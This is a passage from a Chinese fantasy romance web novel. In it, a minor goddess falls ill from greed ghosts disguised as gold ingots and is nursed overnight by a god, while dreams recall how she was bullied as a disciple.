卫摧道:“三日前,恰是凡间的上巳节,桓玄帝躬自去了一趟太虚观,觅求鸿蒙天师问卜凶吉,并夜宿太虚观,当夜,太虚观忽起大火,帝王在泰山阉党的护送下出逃,翊圣真君去寻纵火犯,结果发现鸿蒙天师身负重伤,手中握着正是这一份竹简。” 一抹深色浮掠过谢烬的眉庭,他端凝着竹简,若有所思。 来盛都之前,他便获悉,桓玄帝已经对文官集团进行了大换血。先是荧惑星下凡,再是承安公主带发出家,这两件事对他打击极大,他将与王栩有过交游的所有人,不论官秩大小,悉数投入大狱。 谢烬安放进去的谍者,亦被桓玄帝新培养的泰山阉党拔除一部分。 桓玄帝重用泰山一派的阉党,不论上朝还是出游,随时都让阉党随行,历经太虚观大火这一桩变故,想必更是加深了他对阉党的信任。 这一场大火究竟是意外还是人为,最大的受益者昭然若揭。 那魔神又在二者之间扮演着什么角色?太虚观起火与他有干系么? 若是真有干系,这样做,对它有何好处? 换言之,魔神已与泰山阉党联手了,二者是一荣俱荣一损俱损的关系? 要想查明真相,先从泰山三郎身上着手,乃是上策。 这晌交代完正事儿,卫摧眉目又恢复了惯常的少年意气,不耐烦地将棋局扫得一团乱,双臂枕在脑后:“不下了,跟你下了万年棋,就没赢过一回。” 谢烬拢回思绪,隔墙有耳,他不便观摩,先将竹简逐渐拢回袖裾之中:“关于这份竹简的存在,切不可外泄。” 卫摧摇头笑道:“我忙得很,断案、审人、述职、缉捕、相亲——对,还有相亲。我这么忙了,哪有空管这份竹简的闲事儿。” 谢烬捕捉到了一份关键词,尾音上扬,似是玩味:“相亲?” 卫摧没有觉得谢烬语气不对,抱臂起身笑道:“就是你方才看到的那位女公子,名叫羲和,挺有趣的是不是?她主动上我的乌篷船,一直看着我,想来是欢喜我——” 谢烬淡声阻断:“她许是走错地方,认错了人,未见得是欢喜。” 一盆冷水泼下来,卫摧不仅不恼,反而愈发来劲:“你不认识她,更不是她,如何知晓她不欢喜我?谢烬,羡慕我有好姻缘就直说嘛,何必拐弯抹角?做老神仙做久了难免寂寞,这并不羞耻……啊,不要用三昧真火烧我。我不调侃就是!” 卫摧笑着扬长而去。 谢烬坐在原处,静静望着残乱的棋局,常年冷寂的心绪竟也微微起了波澜。 他眼角掠起一片哂色,修长的手指在一枚白子上很轻很轻地叩了叩,奏出了一片不规律的声响。 那一夜,芙颂拱在他臂弯里,梦呓着十刹海,原来是这个意思。 这位下凡寻欢的小神,睡腻了他,打算改名换姓寻下家了? 翼宿星君难道没有教过她——吃着碗里,瞧着锅里,可不是什么好习惯呢。 —— 芙颂自是不清楚自己在谢烬眼中沦为一个贪吃的形象,眼下过了晌午,她确乎是肚子饿了,乔装打扮一番,贼溜溜地混入仕女群体,在膳案前顺走了一些足以果腹的食物,猫藏在一间无人的舱室里,席地而坐吃东西。 一边吃,一边对袖筒里的传声纸鸟吐槽道:“羲和,这一回的相亲对象,差点害惨我了,好在我遵守你的话术,把他给摆脱了,免了你的后顾之忧。” 羲和许是在忙,快傍夕了才回复她,话里话外尽是意外:“句芒斥了我一顿,说我晾着相亲对象,让对方在红门津渡等了半天,他等不到只好回去了。” 芙颂讶异道:“这如何可能?!他在信口雌黄,我不仅见到了他,还跟他一起泛舟游海了呢!” 羲和道:“这就非常奇怪了,这位武神与我素昧平生,不至于这样诬陷我……慢着,核对一下身份,这位武神着一席黄裳,是雷部的一名雷王,名叫徐洪。小颂颂可是见到了他本人?” 芙颂一听相亲对象的身份信息,傻眼了,讷讷道:“不是。对方自称卫摧,一身獬豸纹朱衫,说是掌管刑狱,我当时还挺佩服句芒能请得动这等大神……” 话落,空气有长达一刻钟的沉寂。 旋即两女反应过来,异口同声尖叫道:“认错人啦啊啊啊啊啊啊!” 意识到了这一点,芙颂面红耳赤,恨不得以头抢地。 她冠冕堂皇地上乌篷船,和卫摧鸡同鸭讲地聊了半个时辰,还白蹭了他朋友举办的春宴上的很多美食,她犯浑的这一切,也被白衣谪仙撞见了。 天塌了简直! 倒是羲和看得很开:“在我看来,这也算是一段短暂又美丽的缘分了,兴许还会有后续呢。” 芙颂摇头摇得比纺车还快:“可别了,我用的是你的身份,真有后续,怕是会牵累到你——哈嚏!” 羲和也不开玩笑了,话语变得肃穆:“我听到你吸鼻子的声音了,可是受了风凉?” 芙颂摇了摇首,说了声不打紧,她没有将自己翻下乌篷船在十刹海里浸泡的事告诉羲和,就怕对方会多想。 挂了纸鸟后,天已真正地擦黑了,楼船在十刹海绕航一周,现在正堪堪停泊在了岛上,诸多参加春日雅集的香客们,鱼贯而出,在僧人的导引之下,在刹海寺中祈福并留夜。 她发现白衣谪仙栖宿在靠东的一座厢房里,她就捏了隐身诀,飘到了厢房的横梁上,打算等他休息再下去蹭觉。 刹海寺安排了撞钟僧人,每隔一个时辰,便会撞三声钟,芙颂等呀等,等呀等,等到子夜的钟声响了三下,竟是发现厢房仍然燃着桐油灯,白衣谪仙仍然在灯下温书,丝毫没有要睡觉的意思。 好奇怪啊,按理来说,他酉时就会准时熄灯睡觉,为何今夜迟迟不休息呢? 不知是不是等得久了,芙颂觉得身子昏昏沉沉的,头也昏昏沉沉的,从梁上飘落下去时,整个人像是踩在棉花似的,没啥气力。 她轻手轻脚行至他面前,看到他披衣读着一份残旧的竹简,在烛火的照应下,他的五官比寻常要清隽如玉。靠近他的时候,还能嗅到浅浅的檀木与沉香杂糅在一起的清香。 “好香啊。”芙颂喟叹了一声。 正在看情报的谢烬闻言,修眉轻轻一动。今夜濯身之时,他有意吩咐毕方在汤池内多放了一些安神的香料,他且在汤池里浸泡了一个时辰,他清楚她喜欢他身上干净清冽的气息,也有意投其所好。 这一点卫摧可做不到,这厮是北方的神明,七日才洗一次澡,身上一点儿也不香。 今刻,听到了她的正面称赞,原本清寂的月色,也趋于明媚了。 不过…… 知晓她今夜必会来,他不欲让她轻易得逞,毕竟,有时太容易得到某些东西,事后反而不会轻易珍惜了。 芙颂不清楚谢烬在故意钓鱼,心道:“都子夜了,还在苦读,不行,要让他马上睡觉才行!” 他不睡觉,她也不能睡觉啊! 芙颂使了个心计,行至镂空的地灯前,呼的一声,擅自将烛火吹熄了,原本亮晃晃的厢房里陷入一片昏暗。 哈,灯都灭了,这下子该睡觉了叭! 但是,为何她觉得身体越来越沉重得厉害了…… “毕方,点灯。”白衣谪仙清冷如霜的嗓音在黑暗之中响起。 很快,灯就重新亮了起来。 芙颂一鼓作气吹熄了灯。 “毕方,点新灯。”白衣谪仙重申道。 就这般,灯来来回回地熄了又燃,燃了又熄,熄了又燃,毕方进出厢房快二十次了,都快累瘫了! 他再傻都看出来,主子今夜心境有些不虞,显然与那个日游神休戚相关。 既是斗法,为何要牺牲他?他很无辜诶! “毕方,点——” “灯”之一字尚未说出口,谢烬忽然见到芙颂身影纤弱地一晃,如支离的病鹤,下一息昏倒在他怀里。 两厢肌肤一相触,他冷然发觉,她的身体烫得厉害。 17、【第十七章】 【第十七章】 厢房之外渐渐飘起了滂沱温湿的春雨,雨声嘈嘈切切地敲撞在纸糊的推门上,悬挂在门拱上的惊雀铃正“当啷当啷”的作响,声如蚕食桑叶,石击深潭。 而厢房之内,人籁静默,静默得只剩下男女交织在一处的吐息声,声息由轻渐沉,由淡渐浓。 谢烬扶住芙颂的肩膊,她的发丝如瀑布般倾斜下来,流淌在他的宽袖上,她的裙裳随着倒下来的动作,在地面上褶皱成了海,覆盖住了他的袍裾。 一黑一白交相辉映,也渐渐分不清彼此的界限了。 银台上的烛火正在不安地扭来晃去,薄色的橘光覆照在芙颂的面庞上,面颊苍白如纸,两片发白的唇,如风干了的莲瓣,没有寻常半丝半毫的鲜活与灵动。 谢烬眉心微蹙,袖手探上她的额庭,触指是一片不同寻常的滚热,她烧得很厉害,根本不像是常见的风寒。 陷在高热之中的芙颂,冥冥之中觅寻到了一片热源,无意识地往他怀里缩,细碎的呜咽声喷薄在他的颈侧,柔柔弱弱道:“好冷,冷……” 小火人从她的袖袍里滑落出来,已经变作了一片黑色的灰烬,想来是储藏的真火耗尽了。 一抹凝色浮掠过谢烬的眉庭,芙颂的本体是一枝昙莲,对真火的吸收断不可能如此迅速,难道是—— 他轻轻解开她的袖囊,甫一拉开褡裢,小山似的马蹄金接踵滚落在簟席上,它们个个跟吃撑了似的,膀大腰圆地瘫倒在地,周身分散着鸦黑色的腐朽气息。 谢烬目光冷而淡,抻出修指,指端生出一簇圆球状的猛火,火势下注,常谓“真金不怕火炼”,这些马蹄金燎到了火,烧屁股似的上蹿下跳,很快剥离金塑之身,露出了硕鼠的狰狞样子,发出悲怆的嗷嚎。 谢烬拢回手指,心下了然。 原来罪魁祸首是魔道六鬼之一,贪鬼。 魔神座下培育了六种类型的鬼,分别是贪、痴、嗔、慢、疑、不正见。 贪鬼是最为常见的一种鬼,本体是硕鼠,赤目紫身,四肢矮粗臃肿,口中养着两枚细长的獠牙,它们喜欢伪装成金银财宝,寄生在那些生了贪念的人身上,如寄生虫一样,昼夜不辍地吸食着人的精气神,直至将人吸成了皮包骨、重病不起才另寻下一个宿主。 倘若谢烬没有记错,这一堆马蹄金是泰山三郎在白昼楼船上塞给芙颂的,泰山三郎表面上是被芙颂恐吓住了,实质上是盯上了她,要将她变作贪鬼们的食物。 换言之,泰山三郎早就认出了芙颂的身份了? 贪鬼们大抵没料到这么快就原形毕露,怒不可遏,聚拢成团,张牙舞爪朝着谢烬猛扑而去。 谢烬漫不经心地动了动手指,空气里撞入一阵烧焦的气息,贪鬼们哀嚎一声,在一呼一吸之间,被昧火烧灼成了烤全鼠,悉数瘫倒在地,奄奄一息。 他淡声唤了一句:“毕方。” 毕方应声推门而入,撞见厢房内一片狼藉,也并没有露出很意外的神色,娴熟地将案发现场收拾干净。 他跟随主子这一段时日,夜里难免会被一些妖魔鬼怪盯上,诸如芭蕉精,诸如贪鬼。 毕方嗅了嗅烤全鼠的气息,咽下了一口干沫:“好香,主子,这些贪鬼可以给卑职当宵夜吗?……诶,她怎么了?” 这晌,谢烬将芙颂打横抱了起来,她的裙裾在低空之中翻出了莲花形态的潋滟波纹,裙带收束出婀娜姣好的腰身,楚腰如春柳,不堪他盈盈一握。 两具躯体贴近之时,他能够明晰地感受她身躯的纤细与柔软,巴掌般大小的脸上,蒸出了涔涔细汗,鬓角发丝粘成绺贴在两侧,黛眉凝蹙,双眸紧紧阖着,口中不知在梦呓着什么,字字句句含糊成团,谢烬俯近去听,倒也听不清楚,想来她正在做着不太好的梦。 回溯过往同床共枕的夜晚,她睡得极其安稳,极少会如今夜这般的模样,露出了极其缺乏安全感的一面。 哪怕他将芙颂安置在床榻上,替她掖上了棉衾后,她仍然紧紧揪住他的袖裾不松开,因是攥力过紧,她瘦削的指骨处根根青筋突起。 俨同一个溺水之人,抱住一根浮木不松开。 谢烬心里想道,贪鬼已除,再服用一些祛除寒热的汤药,天亮的时候,她就会痊愈的。 他作势起身,将芙颂的手从自己的袖子挪开,却听到她哑声道:“……别走……不要离开我……” 女郎的嗓音软糯,语气楚楚可怜,天然教人生出保护欲。 谢烬身影一滞,回头去看的时候,她双眸紧闭,仍是在做梦,但眸眶洇湿,有晶莹剔透的东西从眼角缓慢地淌了出来,逐渐蘸染了枕褥。 她究竟梦到了什么,为何会道出这样的话? 谢烬低垂着眼,深黯的目光在她的脸上停驻良久,忽然觉得,她从来都只是个娇气的小姑娘。 有心眼子但不多,哪怕做了坏事,也会让人觉得情有可原。 他坐回床榻,很轻很轻地拍着她的手背,嗓音带着连自己都不曾觉察到的妥协:“我不走。” 芙颂似是在梦中听到了他的安抚,攥着他袖裾的力道也没有那么紧实了。 “毕方,去打一盆热水来。” —— 芙颂不清楚谢烬在床榻前守了她一夜。 她梦魇不断,一时梦回了九千年前在斗姆座下修行的日子。 她虽是九瓣昙莲,但生得不好看,在莲生宫经常被其他弟子排挤嘲弄,他们将修行任务扔给她,涵盖了洒扫庭除、抄写斗姆讲经的讲义、准备一日三膳,甚至要替背他们闯祸时的黑锅。 斗姆非常忙碌,日理万机,不会管这些鸡毛蒜皮之事,对弟子欺凌之事,往往选择睁一只眼闭一只眼。 每次受了委屈,芙颂会躲在莲生宫外一株菩提树下偷偷哭。有一回,有个少年温柔地对她说了一声“别哭”,还给她递了一张手帕。少年是莲生宫内院的大弟子,按辈分算是芙颂的大师兄。 芙颂非常感激这位大师兄,每次见到他,都冲着他笑,还经常在抽空画了一些趣味的小画给他送去解颐,聊表感恩之情。 直至一次,她在琴坞内遇到了大师兄,想去上前跟他打招呼,却意外看到他与那些欺辱过她的弟子们谈笑风生。 “看看她那张讨好卑微的嘴脸,给了一丁点儿甜头,便天天冲我笑,给送我很多她的画,真是个好摆弄的。” “诶,她也送了你画啊?你看得懂她那些鬼画符吗?” “哪里可能看懂,她画技这么差,简直糟蹋了画纸,我全拿去当柴火烧了。” 周遭谑笑声一片。 芙颂气得浑身发抖,心情也变得格外复杂。 原来,真心有时换不了真心,人与人之间的恶意可以这么大。哪怕是看起来儒雅俊朗的君子,背地里会做出一些见不得光的腌臜事。 芙颂虽胆怯,但是个有气性的,尤其是当时被气昏了神智,就冲上前去质问大师兄为何要这样愚弄自己。 大师兄被当场揭穿了伪善的面具,也丝毫不尴尬,对那些欺辱芙颂的弟子们使了个颜色,他们将芙颂推翻在地,攻击她的容貌和自作多情,芙颂咬牙切齿,但也反抗不得。 这种修行的日子如漫漫长夜,仿佛没有任何尽头,每一日都是煎熬。 这也是她为何成为日游神,执意要戴上面具的缘由,面具是她的遮羞布,只要戴上面具,就无人发现她的真实样子,也自然不会轻易攻击她了。 第一个噩梦结束,第二个噩梦很快就接踵而至。 她被弟子们构陷摔坏了斗姆心爱的五弦琴,被斗姆惩罚,关在禁闭室里,这一间禁闭室是受过诅咒的,曾经被关押过的一些女弟子就活活死在了里面,被看不见的恶魔啃食得只剩下一堆白骨。 芙颂怕黑,拼命拍着门,流泪求饶,希望斗姆开恩。黑暗的环境里藏着无数双幽绿色的双眼,正对她虎视眈眈。 “请斗姆网开一面,别把我关在里面……” “别走……不要离开我……” 似乎感受到她的召唤,在黑暗的最深处,一股温和的力量悄然抚触上她的额庭,似乎是在无声地安抚,将她悉身上下每一处不安的毛孔都熨烫得温温实实。 好温暖啊…… 芙颂伸出手,将这一股温和的力量抱在了怀里,弥足眷恋,再不松开。 —— 后半夜,天快亮了,芙颂的高热褪尽了,谢烬舒下一口气,取下敷在她额庭处的湿毛巾,半倚在床褥外侧,阖眼小憩一会儿。 谁知,没休息多久,她不安分地拱蹭上来,缠住了他的腰和腿,就像是喜阴属性的藤植缠住温暖的东西不松开。 谢烬轻轻一垂眸,望到一截雪白的粉颈和一小片白皙的肌肤。 她睡觉时,衣带不知何时松开了一部分,外衫敞开滑落至肩头的位置,锁骨上方一角隐秘的春色在谢烬的眼底幽幽绽开。 他喉结一紧,心道,她只对他这样不设防,还是说,她对下家——也就是卫摧那厮也会如此? 谢烬撇开视线,伸手将她的衣物掖了回去,掖得严严实实,并将她的手脚从自己身上扒拉开,放回该放的位置。 好不容易放回去,芙颂又缠了上来,她的小腿稍稍屈起缠住他的腹部,一路下滑…… 谢烬:“……” 他抓住了她不安分的脚踝,阻止她乱动。但他又不敢太使劲儿,生怕将她伶仃纤细的脚骨捏碎了。 这一回,实在被她磨得不行,他深吸一口气,决意还是先摇醒她算了,横竖她的性命已无大碍。 “醒醒。”谢烬平复了情绪,拍一下她的肩膊。 芙颂没反应。 “醒醒。”他撑起身躯,捻起她的鬓发扫她的鼻子,淡声道,“回到你该去的地方。” 谢烬思及芙颂很怕翼宿星君,遂故作冷淡道:“再不醒,向你师傅告——” 话未毕,她拱入他的怀里,嗫嚅道:“抱抱我,好不好……” 谢烬微微僵硬,双手伫停在半空,无处安放,他生平头一回觉得自己没那么游刃有余。 眸心下垂,偏过头,细细打量着她。 一脸梨花带雨的样子,大抵是又做了噩梦。 谢烬心中忽然有了个猜测。 她是经常睡不好觉,所以,才来找到他蹭觉的么? 睡个好觉对她而言,是一种奢望。 他静默了片晌,那只准备摇人的手,最终落在芙颂的背部,变成了一个妥协的拥抱。 罢了。 蹭就蹭吧。 她又有什么坏心眼呢?